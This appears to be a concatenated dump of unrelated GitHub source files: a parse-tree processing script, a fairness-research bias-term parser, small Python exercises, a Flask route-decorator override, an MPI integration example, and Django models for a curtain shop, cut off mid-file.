len(s_nodes):\n error_mess = f'Length problem: [{len(p_nodes)}][{len(s_nodes)}]\\n{p_nodes}\\n{s_nodes}'\n raise ValueError\n\n for j, (pw, sw) in enumerate(zip(p_nodes, s_nodes)):\n if pw != sw:\n try:\n p_label = int(sw.split('_')[0])\n except Exception as e:\n error_mess = f'Match problem: [{len(p_nodes)}][{len(s_nodes)}](id{j}:: {pw} vs {sw})\\n{p_nodes}\\n{s_nodes}\\n'\n raise e\n except Exception as e:\n print(f'Problem Error at index {i}')\n print(error_mess)\n print(ps)\n print('---' * 10)\n print(ss)\n print('---' * 10)\n p_tree_og.pretty_print()\n print('-' * 10)\n s_tree_og.pretty_print()\n print('=' * 40)\n mismatches.append((i, ps, ss))\n\n print(f'mismatch: {len(mismatches)}')\n with open(f'{phrase_file}.mismatched.tsv', 'w') as f:\n f.write(f'index\\tphrase_tree\\tsentiment_tree\\n')\n for (i, ps, ss) in mismatches:\n f.write(f'{i}\\t{ps}\\t{ss}\\n')\n with open(f'{phrase_file}.mismatched.phrase', 'w') as f:\n phrases = [str(Tree.fromstring(x[1])) for x in mismatches]\n f.write('\\n\\n'.join(phrases))\n with open(f'{phrase_file}.mismatched.sentiment', 'w') as f:\n sentiments = [str(Tree.fromstring(x[2])) for x in mismatches]\n f.write('\\n\\n'.join(sentiments))\n\n\ndef replace_match_phrase_sentiment(phrase_file, sentiment_file, replace_file, output_prefix):\n with open(phrase_file, 'r') as f:\n phrase_strings = f.read().strip().split('\\n')\n with open(sentiment_file, 'r') as f:\n sentiment_strings = f.read().strip().split('\\n')\n with open(replace_file, 'r') as f:\n replace_strings = f.read().strip().split('\\n')\n\n assert len(phrase_strings) == len(sentiment_strings), f'{len(phrase_strings)} != {len(sentiment_strings)}'\n\n length_problems = []\n mismatches = []\n\n final_phrases = []\n final_sentiments = []\n\n def acquire_info(s):\n tree_og = tree_from_string(s)\n pad_leaves_tree = deepcopy(tree_og)\n padding_leaves(pad_leaves_tree)\n cleaned_tree = clean_node(pad_leaves_tree)\n nodes, labels, indices = generate_data(cleaned_tree)\n return tree_og, pad_leaves_tree, cleaned_tree, nodes, labels, indices\n\n for i, (ps, ss) in enumerate(zip(phrase_strings, sentiment_strings)):\n p_tree_og, p_pad_leaves_tree, p_cleaned_tree, p_nodes, p_labels, p_indices = acquire_info(\n ps)\n s_tree_og, s_pad_leaves_tree, s_cleaned_tree, s_nodes, s_labels, s_indices = acquire_info(\n ss)\n try:\n if len(p_nodes) != len(s_nodes):\n error_mess = f'Length problem: [{len(p_nodes)}][{len(s_nodes)}]\\n{p_nodes}\\n{s_nodes}'\n raise ValueError\n\n for j, (pw, sw) in enumerate(zip(p_nodes, s_nodes)):\n if pw != sw:\n p_label = int(sw.split('_')[0])\n\n final_phrases.append(ps)\n final_sentiments.append(ss)\n except Exception as e:\n mismatches.append((i, ps, ss))\n print(f'Replace at index {i}')\n rs = replace_strings[0]\n replace_strings = replace_strings[1:]\n r_tree_og, r_pad_leaves_tree, r_cleaned_tree, r_nodes, r_labels, r_indices = acquire_info(\n rs)\n try:\n if len(r_nodes) != len(s_nodes):\n error_mess = f'Length problem: [{len(r_nodes)}][{len(s_nodes)}]\\n{r_nodes}\\n{s_nodes}'\n raise ValueError\n for j, (rw, sw) in enumerate(zip(r_nodes, s_nodes)):\n if rw != sw:\n p_label = int(sw.split('_')[0])\n\n final_phrases.append(rs)\n final_sentiments.append(ss)\n except Exception as e:\n print(f'Replacement fail')\n print('-----')\n print(ps)\n print('-----')\n print(ss)\n print('-----')\n print(rs)\n print('-----')\n raise e\n\n print(f'phrase: {len(final_phrases)}')\n print(f'sentiment: {len(final_sentiments)}')\n with open(f'{output_prefix}.phrase', 'w') as f:\n f.write('\\n'.join(final_phrases))\n with open(f'{output_prefix}.sentiment', 'w') as f:\n f.write('\\n'.join(final_sentiments))\n\n\n\n\n\ndef remove_leaf_label(tree):\n ntree = deepcopy(tree)\n queue_tree = queue.Queue()\n queue_tree.put(ntree)\n step = 0\n while not queue_tree.empty():\n parent = queue_tree.get()\n children = list(parent)\n parent.clear()\n for child in children:\n if isinstance(child, Tree) and len(child) == 1 and isinstance(child[0], str):\n parent.append(child[0])\n else:\n parent.append(child)\n for child in children:\n if isinstance(child, Tree):\n queue_tree.put(child)\n return ntree\n\n\ndef get_tree_encodings(binary_parse):\n\n binary_parse = binary_parse.replace('(', ' ( ').replace(')', ' ) ')\n sentence = binary_parse.replace('(', ' ').replace(')', ' ')\n # binary_parse = re.sub(r'\\(\\d', ' ( ', binary_parse).replace(')', ' ) ')\n # sentence = re.sub(r'\\(\\d', ' ', binary_parse).replace(')', ' ')\n words = sentence.split()\n components = binary_parse.split()\n # print(components)\n final_answers = list()\n stack = list()\n curr_index = 0\n non_leaf_index = len(words)\n for w in components:\n if w == '(': # guard\n stack.append(w)\n elif w != ')': # shift\n stack.append(curr_index)\n curr_index += 1\n else: # reduce\n index_left = stack[-2]\n index_right = stack[-1]\n final_answers.append(index_left)\n final_answers.append(index_right)\n final_answers.append(non_leaf_index)\n stack = stack[:len(stack)-3]\n stack.append(non_leaf_index)\n non_leaf_index += 1\n # print(stack)\n # print(final_answers)\n # assert len(stack) == 1, f'{components} ===== {stack}'\n assert len(stack) == 1\n assert stack[0] == 2 * curr_index - 2\n assert curr_index == len(words)\n final_answers = [str(x) for x in final_answers]\n return ','.join(final_answers)\n\n\ndef build_tree_enconding_dataset(binary_tree_file, out_file=None, out_binary_class=False):\n if out_file is None:\n nclasses = 2 if out_binary_class else 5\n out_file = f'{binary_tree_file}.tree_enc.c{nclasses}.json'\n\n with open(binary_tree_file, 'r') as f:\n lines = f.read().strip().split('\\n')\n\n def get_label(line):\n tree = Tree.fromstring(line)\n label = tree.label()\n int_label = int(label) + 1\n\n if out_binary_class:\n if int_label > 3:\n return 2\n elif int_label < 3:\n return 1\n else:\n raise ValueError\n else:\n return int_label\n\n def extract_information(ori_bin_line):\n # try:\n label = get_label(line)\n sentence = ' '.join(Tree.fromstring(line).flatten())\n\n parsed = list(get_corenlp_parser().parse_text(sentence))[0]\n cnfTree = deepcopy(parsed)\n treetransforms.chomsky_normal_form(cnfTree)\n pad_cnf_tree = deepcopy(cnfTree)\n padding_leaves(pad_cnf_tree)\n\n binary_tree = clean_node(pad_cnf_tree)\n\n # pad_cnf_tree\n tree = remove_atnodeset_single_nodeset(binary_tree)\n tree = remove_leaf_label(tree)\n tree_string = ' '.join(str(tree).split())\n\n # tree_string_replace = re.sub(r'\\(\\w+\\s', ' ( ', tree_string)\n # NP|\n tree_string_replace = re.sub(r'\\([\\w<>\\|\\.:\\'`$,-]+\\s', ' ( ', tree_string)\n # json.loads()\n try:\n tree_enc = get_tree_encodings(tree_string_replace)\n except Exception as e:\n # print(tree.)\n tree.pretty_print()\n # clean_node(tree).pretty_print()\n print(f'get_tree_encodings for line')\n print(line)\n print(tree_string)\n print(tree_string_replace)\n print()\n tree_from_string(line).pretty_print()\n sentiment_tree_enc = get_tree_encodings(line)\n print(sentiment_tree_enc)\n raise e\n\n obj = {\n \"label\": label,\n \"sentence\": sentence,\n \"constituency_tree_encoding\": tree_enc\n }\n return obj\n\n # tree_enc_liens = [get_tree_encodings()]\n tree_enc_lines = []\n tree_label = []\n sentences = []\n data = []\n skipped = []\n for i, line in enumerate(lines):\n try:\n obj = extract_information(line)\n except ValueError as e:\n skipped.append(line)\n continue\n\n data.append(json.dumps(obj))\n\n print(f'Finished: processed: {len(data)}, skipped: {len(skipped)}')\n # json.dump(data, open(out_file, 'w'))\n with open(out_file, 'w') as f:\n f.write('\\n'.join(data))\n print(f'Write to file {out_file}')\n\n\ndef test_no_cnf(file):\n with open(file, 'r') as f:\n lines = f.read().strip().split('\\n')\n\n for i, line in enumerate(lines):\n tree_string = line\n tree_line = tree_from_string(tree_string)\n\n padding_leaves(tree_line)\n tree_line = clean_node(tree_line)\n # safe_tree = tree_from_string(tree_line)\n\n line_leaves, line_matrix, line_node_label, line_leaf_label = tree2matrix(tree_line, False)\n\n # try:\n line_node, line_label, line_index, bf_tree, bf_lst_tree = generate_data_v2(tree_line, False)\n\n print(f'--- Index {i} ----')\n print(f'nodes[{len(line_node)}]: {line_node}')\n print(f'labels[{len(line_label)}]: {line_label}')\n tree_line.pretty_print()\n print(bf_tree)\n print(bf_lst_tree)\n\n print('=' * 50)\n\n input()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--func', default='match_phrase_sentiment')\n parser.add_argument('--phrase_file')\n parser.add_argument('--binary_tree_file')\n parser.add_argument('--replace_phrase_file')\n parser.add_argument('--replace_output_prefix')\n\n parser.add_argument('--out_binary_class', action='store_true',)\n parser.add_argument('--sentiment_file')\n\n args = parser.parse_args()\n\n if args.func == 'match_phrase_sentiment':\n test_phrase_sentiment_match(args.phrase_file, args.sentiment_file)\n elif args.func == 'replace_match_phrase_sentiment':\n replace_match_phrase_sentiment(args.phrase_file, args.sentiment_file, args.replace_phrase_file, args.replace_output_prefix)\n elif args.func == 'get_tree_encodings':\n build_tree_enconding_dataset(args.binary_tree_file, out_binary_class=args.out_binary_class)\n elif args.func == \"raw_2_flat\":\n raw_phrase_2_flat_v2(args.phrase_file, f'{args.phrase_file}.bin_flattened')\n elif args.func == 'test_no_cnf':\n test_no_cnf(args.phrase_file)\n else:\n raise ValueError(f'invalid func {args.func}')\n\n\n\n\n\n","repo_name":"nxphi47/tree_transformer","sub_path":"src/dptree/tree_process.py","file_name":"tree_process.py","file_ext":"py","file_size_in_byte":25992,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"81"} +{"seq_id":"11003132451","text":"#!../venv/bin/python\nimport json\nimport pandas as pd\n# from nltk.corpus import words\n\n\ndef sanitizeString(str):\n \"\"\"\n :param str: string input (expected to contain\n punctuation)\n :return: string with punctuation stripped\n \"\"\"\n i = 0\n for cahr in str:\n if not cahr.isalpha():\n break\n else:\n i += 1\n sub = str[0:i]\n return sub.lower()\n\n\ndef loadJSONFile(f):\n \"\"\"\n :param f: the data file (.json) containing\n the list of bias types\n\n :return: the full json object\n \"\"\"\n df = open(f)\n df = json.load(df)\n return df\n\n\ndef getBiasTypes(df):\n \"\"\"\n :param df: the json object\n\n :return: a list of the bias types\n \"\"\"\n biasTypes = []\n biasTypeJSON = df['data']['intersentence']\n for item in biasTypeJSON:\n bt = item['bias_type']\n if bt not in biasTypes:\n biasTypes.append(bt)\n return biasTypes\n\n\ndef getBiasTypeMap(df):\n \"\"\"\n :param df: the json object\n\n :return: a map of key: race types and\n value: list of all targets for that race\n type\n \"\"\"\n\n\n addList = []\n # for ex in extras:\n # add = sanitizeString(ex[0])\n # addList.append(ex)\n bt = getBiasTypes(df)\n btMap = {}\n for item in bt:\n btMap[item] = []\n # extra words taken from:\n # https://github.com/XuhuiZhou/Toxic_Debias/blob/main/data/word_based_bias_list.csv\n btMap['orientation'] = ['lesbians', 'gays',\n 'bisexuals', 'transgender', 'trans',\n 'queers', 'lgbt', 'lgbt', 'homosexual',\n 'heterosexual']\n btMap['gender'] = ['woman', 'females', 'girls', 'non-binary']\n btMap['race'] = ['africans', 'african-americans', 'blacks',\n 'hispanics', 'latino', 'latina', 'latinx', 'mexicans',\n 'indians', 'middle-eastern']\n btMap['religion'] = ['muslims', 'arabs', 'jews']\n targets = df['data']['intersentence']\n for target in targets:\n bt = target['bias_type']\n tt = target['target']\n if tt not in btMap[bt]:\n btMap[bt].append(tt)\n del btMap['profession']\n return btMap\n\n\ndef cfNeighbours(btMap):\n \"\"\"\n :param btMap: the map of bias types\n and lists of targets\n :return: counterfitted-neighbours\n in json format\n \"\"\"\n cfn = {}\n for bt in btMap:\n for item in btMap[bt]:\n ll = list(btMap[bt])\n ll.remove(item)\n cfn[item] = ll\n # cfnJSON = json.dumps(cfn)\n return cfn\n","repo_name":"dwil2444/verifiable-model-fairness","sub_path":"parser/biastypes.py","file_name":"biastypes.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"35486444605","text":"''' In the input, find the first A and last A, print all the letters between these two A. \n If there is no A or 2nd A is not found, find the first B and last B and print all the letters between these two B. \n If there is no B or 2nd B is not found, find the first C and last C and print all the letters between these two C. \n Use functions.'''\n\nfrom audioop import reverse\n\n\ndef finding_first_index(input_string,letter):\n input_string=input_string.upper()\n first_index=-1\n first_flag=0 #to check the presence of first letter\n for first in range (0,len(input_string)-1): #to find the first index of A,B,C\n if input_string[first]==letter:\n first_index=first\n first_flag=1\n break\n return [first_index,first_flag]\n\ndef finding_last_index(input_string,letter,first_index):\n input_string=input_string.upper()\n second_flag=0#to check the presence of last letter\n last_index=-1\n for last in reversed(range (0,len(input_string))): #to find the last index A,B,C\n if input_string[last]==letter and last!=first_index:\n last_index=last\n second_flag=1\n break\n return [last_index,second_flag] \n\ndef finding_and_printing_letters_btw():#printing letters between first and last index\n word=input(\"Enter a string:\")\n reversed_word=word[::-1]\n if 'a' in word and 'a' in reversed_word:\n first_list=finding_first_index(word,'A')\n last_list=finding_last_index(word,'A',first_list[0])\n letter='A'\n\n elif 'b' in word and 'b' in reversed_word:\n first_list=finding_first_index(word,'B')\n last_list=finding_last_index(word,'B',first_list[0])\n letter='B'\n \n elif 'c' in word and 'c' in reversed_word:\n first_list=finding_first_index(word,'C')\n last_list=finding_last_index(word,'C',first_list[0])\n letter='C'\n\n if first_list[1] and last_list[1]: #printing letters between first and last index\n for number in range(first_list[0]+1,last_list[0]):\n print(word[number])\n exit()\n elif first_list[1]:\n print(\"There is no last\",letter, \"in the word\")\n elif last_list[1]:\n print(\"There is no first\",letter, \"in the word\")\n\nfinding_and_printing_letters_btw()\n\n\n'''\nOutput:\nEnter a string:anna\nn\nn'''\n'''\nEnter a string:bnnb\nn\nn'''\n","repo_name":"MagaVigna/Python-Programs","sub_path":"Strings/String Functions/Intro To Function/printing_letters_btw_function.py","file_name":"printing_letters_btw_function.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"70984597704","text":"\"\"\"The Scaffold Override.\n\nIt is used to override the route method of both Flask and Blueprints Object\nin Jeroboam and jeroboam's Blueprints.\n\"\"\"\nfrom typing import Any\nfrom typing import Callable\n\nfrom flask.scaffold import setupmethod\nfrom typing_extensions import TypeVar\n\nfrom flask_jeroboam.typing import JeroboamRouteCallable\nfrom flask_jeroboam.view import JeroboamView\n\n\nR = TypeVar(\"R\", bound=Any)\n\n\nclass JeroboamScaffoldOverRide:\n \"\"\"Mixin to override the route method.\n\n The route method is overriden by a custom flask_jeroboam\n route decorator.\n \"\"\"\n\n @setupmethod\n def route(\n self, rule: str, **options: Any\n ) -> Callable[[JeroboamRouteCallable], JeroboamRouteCallable]:\n \"\"\"View function decorator to register a route.\n\n Decorate a view function to register it with the given URL\n rule and options. Calls :meth:`add_url_rule`, which has more\n details about the implementation.\n\n .. code-block:: python\n\n @app.route(\"/\")\n def index():\n return \"Hello, World!\"\n\n See :ref:`url-route-registrations`.\n\n The endpoint name for the route defaults to the name of the view\n function if the ``endpoint`` parameter isn't passed.\n\n The ``methods`` parameter defaults to ``[\"GET\"]``. ``HEAD`` and\n ``OPTIONS`` are added automatically.\n\n :param rule: The URL rule string.\n :param options: Extra options passed to the\n :class:`~werkzeug.routing.Rule` object.\n \"\"\"\n\n def decorator(view_func: JeroboamRouteCallable) -> JeroboamRouteCallable:\n options.setdefault(\"tags\", []).extend(getattr(self, \"tags\", []))\n blueprint_option = getattr(self, \"include_in_openapi\", None)\n view = JeroboamView(rule, view_func, options) if view_func else None\n options[\"main_method\"] = getattr(view, \"main_http_verb\", None)\n if blueprint_option is not None:\n options[\"include_in_openapi\"] = blueprint_option\n self.add_url_rule( # type: ignore\n rule, view.endpoint, view.as_view, **options # type: ignore\n )\n return view_func\n\n return decorator\n","repo_name":"jcbianic/flask-jeroboam","sub_path":"flask_jeroboam/scaffold.py","file_name":"scaffold.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"81"} +{"seq_id":"36111597748","text":"# https://www.acmicpc.net/problem/1758\n\nn = int(input())\narr = []\nanswer = 0\n\nfor i in range(n):\n arr.append(int(input()))\n\narr.sort(reverse=True)\n\nfor i in range(n):\n tip = arr[i]-i\n\n if tip > 0:\n answer += tip\n\nprint(answer)","repo_name":"Jung0Jin/Algorithm_study","sub_path":"100Jun/1758.py","file_name":"1758.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"13824162266","text":"\"\"\"Class for validating the Revocation\"\"\"\nfrom secure_all.data.attributes.attribute import Attribute\n\n\nclass Revocation(Attribute):\n \"\"\"Class for validating the Revocation with a regex\"\"\"\n # pylint: disable=too-few-public-methods\n def __init__(self, attr_value):\n self._validation_pattern = r'(Temporal|Final)'\n self._error_message = \"Invalid Revocation\"\n self._attr_value = self._validate(attr_value)\n","repo_name":"EmmanuelScience/Access-Management-Simulation","sub_path":"src/main/python/secure_all/data/attributes/attribute_revocation.py","file_name":"attribute_revocation.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"27519258922","text":"def string_compression(strng_one: str) -> bool:\n dic = {}\n str1 = \"\"\n for i in strng_one:\n if i in dic:\n dic[i] += 1\n else:\n dic[i] == 1\n\n res =(dic[i] + dic.keys())\n \n ","repo_name":"NekesaH/Python-Data-Structures-and-Agorithms","sub_path":"stringcompression.py","file_name":"stringcompression.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"19300558495","text":"from django.conf.urls import url\nfrom . import views\nfrom user import views as vv\nurlpatterns = [url(r'^newvideo$', views.sendNewVideo, name='sendNewVideo'),\n\t\t\t url(r'^$', views.mainPage, name='mainPage'),\n\t\t\t url(r'^getdet$', vv.getDet, name='getDet'),\n\t\t\t url(r'^nextround$', views.nextRoundPage, name='nextRoundPage'),\n\t\t\t url(r'^submit$', views.submitAnnotation, name='submitAnnotation'),\n\t\t\t url(r'^score$', views.scorePage, name='scorePage'),\n\t\t\t url(r'^getscore$', views.score, name='score'),\n\t\t\t url(r'^getscore2$', views.score2, name='score2'),\n\t\t\t ]","repo_name":"karandeepSJ/CVIT-UserStudyPortal","sub_path":"annotation/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"17584174320","text":"'''A module to test the unlucky_days module that works with Friday the\n 13ths'''\nimport unittest\nfrom unlucky_days import friday_13th_count\n\nclass TestUnluckyDays(unittest.TestCase):\n '''A class to test the unlucky_days module that works with Friday\n the 13ths'''\n def test_twenty_fifteen(self):\n '''Determine how many Friday the thirteents are in the year\n 2015'''\n year = 2015\n count = friday_13th_count(year)\n self.assertEqual(count, 3)\n\n def test_nineteen_eighty_six(self):\n '''Determine how many Friday the thirteents are in the year\n 1986'''\n year = 1986\n count = friday_13th_count(year)\n self.assertEqual(count, 1)\n\n def test_twenty_nineteen(self):\n '''Determine how many Friday the thirteents are in the year\n 2019'''\n year = 2019\n count = friday_13th_count(year)\n self.assertEqual(count, 2)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"T-monius/python-small-problems","sub_path":"medium-2/unlucky-days/test_unlucky_days.py","file_name":"test_unlucky_days.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"16499095657","text":"import time\nimport math\nimport sys\n\nn = int(sys.argv[1])\n\nstarttime = time.time()\n\n# interval size (same for X and Y)\nh = math.pi / n\n\nmysum = 0.0\n\nfor i in range(n):\n x = h * (i + 0.5)\n for j in range(n):\n y = h * (j + 0.5)\n mysum += math.sin(x + y)\n\nintegral = h**2 * mysum\n\nendtime = time.time()\n\nprint(\"Integral value is %e, Error is %e\" % (integral, abs(integral - 0.0)))\nprint(\"Time spent: %.2f sec\" % (endtime-starttime))\n","repo_name":"SNIC-MPI-course/MPI-course","sub_path":"Templates/Day_2/Collectives/Integration2D/Python/integration2D_serial.py","file_name":"integration2D_serial.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"31391471056","text":"class Solution:\n def carPooling(self, trips: List[List[int]], capacity: int) -> bool:\n dp, sz = [0]*1001, 0\n for t in trips:\n dp[t[1]]+=t[0]\n dp[t[2]]-=t[0]\n for i in range(len(dp)):\n sz += dp[i]\n if sz > capacity:\n return False\n return True","repo_name":"jitaeyun/algorithm","sub_path":"leetcode/Python/car-pooling.py","file_name":"car-pooling.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"33590949556","text":"# class Solution:\n# def isAnagram(self, s: str, t: str) -> bool:\n# if len(s) != len(t):\n# return False\n\n# for char in s:\n# if char in t:\n# t = t.replace(char,'',1)\n# else:\n# return False\n\n# return False if t else True\n\n# s = \"aacc\"\n# t = \"ccac\"\n# test = Solution().isAnagram(s, t)\n# print(test)\n\nclass Solution:\n def isAnagram(self, s: str, t: str) -> bool:\n if len(s) != len(t):\n return False\n\n countS, countT = {}, {}\n\n for i in range(len(s)):\n countS[s[i]] = 1 + countS.get(s[i], 0)\n countT[t[i]] = 1 + countT.get(t[i], 0)\n for c in countS:\n if countS[c] != countT.get(c, 0):\n return False\n return True\n\ns = \"aacc\"\nt = \"ccac\"\ntest = Solution().isAnagram(s, t)\nprint(test)\n","repo_name":"benattali/leet_code","sub_path":"valid_anagram.py","file_name":"valid_anagram.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"29840204549","text":"from ckeditor.fields import RichTextField\nfrom django.db import models\nfrom django.template.defaultfilters import slugify\nfrom django.urls import reverse\nfrom django.utils.html import mark_safe\nfrom django.utils.translation import gettext as _\n\nfrom accounts.models import CustomUser\nfrom helpers.functions import convert_price, format_price\n\n# from . import choices\n\n\nCONTROL_CHOICES = (\n ('left', \"Слева\"),\n ('center', \"По середине\"),\n ('right', \"Справа\"),\n)\n\n\nclass ImagesOnAboutPage(models.Model):\n image = models.ImageField(verbose_name=\"Фото\", upload_to=\"pages/about/\")\n\n def __str__(self):\n return f\"Фото: {self.pk}\"\n\n class Meta:\n verbose_name = \"Фотка на странице 'О компании'\"\n verbose_name_plural = \"Фотки на странице 'О компании'\"\n\n\nclass Kind(models.Model):\n \"\"\"Kind model.\"\"\"\n\n name = models.CharField(\n verbose_name=_(\"Название вида\"), max_length=255, unique=True\n )\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = \"Вид\"\n verbose_name_plural = \"Виды\"\n\n\nclass Category(models.Model):\n \"\"\"Subcategory model.\"\"\"\n\n class CorniceTypeChoices(models.TextChoices):\n aluminium = \"aluminium\", 'Алюминиевый'\n plastic = \"plastic\", 'Пластиковый'\n\n class ControlTypeChoices(models.TextChoices):\n manual = \"manual\", \"Ручной\"\n electrically_driven = \"electrically_driven\", \"С электроприводом\"\n\n name = models.CharField(verbose_name=\"Название категории\", max_length=255)\n slug = models.SlugField(\n verbose_name=\"Ссылка категории\",\n default=\"\",\n help_text=\"Данное поле заполнять не нужно\",\n )\n category_common_price_usd = models.SmallIntegerField(\n verbose_name=\"Цена (y.e) от\",\n default=0,\n help_text=\"Данное поле используется чтобы отобразить среднюю стоимость продуктов данной категории на Главной странице\")\n category_common_price_uzs = models.IntegerField(\n verbose_name=\"Цена (сум) от\",\n default=0,\n help_text=\"Данное поле заполнять не нужно. Оно заполнится само при сохранении данного продукта\")\n kind = models.ForeignKey(Kind, on_delete=models.CASCADE, verbose_name=\"Вид\", related_name=\"subcategories\")\n image = models.ImageField(verbose_name=\"Фото категории\", upload_to=\"subcategories/\", null=True)\n width_rounding = models.CharField(verbose_name=\"Округление по ширине для всех товаров категории\", max_length=150,\n null=True, blank=True)\n length_rounding = models.CharField(\n verbose_name=\"Округление по длине для всех товаров категории\", max_length=150, null=True, blank=True)\n\n product_width_from = models.IntegerField(verbose_name=\"Ширина от\", default=0, null=True)\n product_width_to = models.IntegerField(verbose_name=\"Ширина до\", default=0, null=True)\n\n product_length_from = models.IntegerField(verbose_name=\"Длина от\", default=0, null=True)\n product_length_to = models.IntegerField(verbose_name=\"Длина до\", default=0, null=True)\n\n cornice_type = models.CharField(\n verbose_name=\"Тип карниза\",\n max_length=50,\n choices=CorniceTypeChoices.choices,\n default=CorniceTypeChoices.aluminium,\n )\n control_type = models.CharField(\n verbose_name=\"Тип управления\",\n max_length=50,\n choices=ControlTypeChoices.choices,\n default=ControlTypeChoices.manual,\n )\n\n def get_absolute_url(self):\n return reverse(\"subcategory_detail\", kwargs={\"subcategory_slug\": self.slug})\n\n def get_first_img(self):\n if self.image:\n return self.image.url\n\n def count_products(self):\n return self.products.all().count()\n\n def get_price(self):\n return format_price(self.category_common_price_uzs)\n\n def save(self, *args, **kwargs):\n if not self.slug:\n self.slug = slugify(self.name)\n self.category_common_price_uzs = convert_price(self.category_common_price_usd, _format=False)\n return super().save(*args, **kwargs)\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = \"Категория\"\n verbose_name_plural = \"Категории\"\n\n\nclass ProductColorItem(models.Model):\n color = models.CharField(verbose_name=\"Цвет продукта\", max_length=100, unique=True)\n\n def __str__(self):\n return self.color\n\n class Meta:\n verbose_name = \"Цвет\"\n verbose_name_plural = \"Цвета\"\n\n\nclass FabricType(models.Model):\n title = models.CharField(verbose_name=\"Тип ткани\", max_length=255)\n\n def __str__(self):\n return self.title\n\n class Meta:\n verbose_name = \"Тип ткани\"\n verbose_name_plural = \"Типы ткани\"\n\n\nclass ProductProperty(models.Model):\n title = models.CharField(verbose_name=\"Свойство\", max_length=255)\n\n def __str__(self):\n return self.title\n\n class Meta:\n verbose_name = \"Свойство\"\n verbose_name_plural = \"Свойства\"\n\n\nclass ProductDimming(models.Model):\n dimming = models.IntegerField(verbose_name=\"Затемнение\", default=0)\n\n def __str__(self):\n return str(self.dimming)\n\n class Meta:\n verbose_name = \"Затеменение\"\n verbose_name_plural = \"Затемнения\"\n\n\nclass ProductManufacturerCountry(models.Model):\n name = models.CharField(verbose_name=\"Название страны\", max_length=150)\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = \"Страна производитель\"\n verbose_name_plural = \"Страны производители\"\n\n\nclass Product(models.Model):\n \"\"\"Product model.\"\"\"\n\n name = models.CharField(\n verbose_name=\"Название продукта\", max_length=255, unique=True, default=\"\"\n )\n # Базовая цена продукта\n usd_price = models.PositiveIntegerField(\n verbose_name=\"Базовая цена в долларах\",\n default=0,\n null=True,\n blank=True\n )\n uzs_price = models.PositiveIntegerField(\n verbose_name=\"Базовая цена в сумах\",\n default=0,\n help_text=\"Данное поле заполнять не нужно, цена будет рассчитываться от базовой цены в долларах\"\n )\n # Цена продукта с электроприводом\n usd_electrical_price = models.PositiveIntegerField(\n verbose_name=\"Цена с электроприводом в долларах\",\n default=0,\n )\n uzs_electrical_price = models.PositiveIntegerField(\n verbose_name=\"Цена с электроприводом в суммах\",\n default=0,\n help_text=\"Данное поле заполнять не нужно, цена будет рассчитываться от цены элекртопривода в долларах\",\n )\n # цена продукта с типом карниза 'Алюминевый'\n usd_cornice_type_price = models.PositiveIntegerField(\n verbose_name=\"Цена в долларах типа карниза 'Алюминевый'\",\n default=0\n )\n uzs_cornice_type_price = models.PositiveIntegerField(\n verbose_name=\"Цена в суммах типа карниза 'Алюминевый'\",\n default=0,\n help_text=\"Данное поле заполнять не нужно, цена будет рассчитываться от цены карниза 'Алюминевый' в долларах\",\n )\n body = models.TextField(verbose_name=\"Описание продукта\", default=\"\")\n placeholder = models.ImageField(\n verbose_name=\"Заставка\",\n upload_to=\"products/placeholders/\",\n null=True,\n )\n manufacturer_country = models.ForeignKey(ProductManufacturerCountry, on_delete=models.CASCADE, null=True,\n related_name=\"products\", verbose_name=\"Страна производитель\")\n fabric_type = models.ForeignKey(FabricType, on_delete=models.DO_NOTHING, related_name=\"products\", null=True,\n verbose_name=\"Тип ткани\")\n property = models.ForeignKey(ProductProperty, on_delete=models.DO_NOTHING, related_name=\"products\", null=True,\n verbose_name=\"Свойство\")\n dimming = models.ForeignKey(ProductDimming, on_delete=models.DO_NOTHING, related_name=\"products\", null=True,\n verbose_name=\"Затемнение\")\n control = models.CharField(\n verbose_name=\"Управление\",\n max_length=50,\n choices=CONTROL_CHOICES,\n default=\"left\",\n )\n quantity = models.SmallIntegerField(verbose_name=\"Количество продукта\", default=0)\n color = models.ForeignKey(\n ProductColorItem,\n on_delete=models.CASCADE,\n verbose_name=\"Цвет продукта\",\n null=True,\n )\n discount = models.SmallIntegerField(\n verbose_name=\"Размер скидки\", default=0, null=True, blank=True\n )\n\n kind = models.ForeignKey(\n Kind,\n on_delete=models.CASCADE,\n verbose_name=\"Вид\",\n default=None,\n null=True,\n related_name=\"products\",\n )\n category = models.ForeignKey(\n Category,\n on_delete=models.CASCADE,\n verbose_name=\"Категория\",\n default=None,\n null=True,\n related_name=\"products\",\n )\n is_bestseller = models.BooleanField(\n verbose_name=\"Хит продаж?\",\n blank=True,\n default=False\n )\n collection = models.ForeignKey(\"Collection\", on_delete=models.CASCADE, null=True, 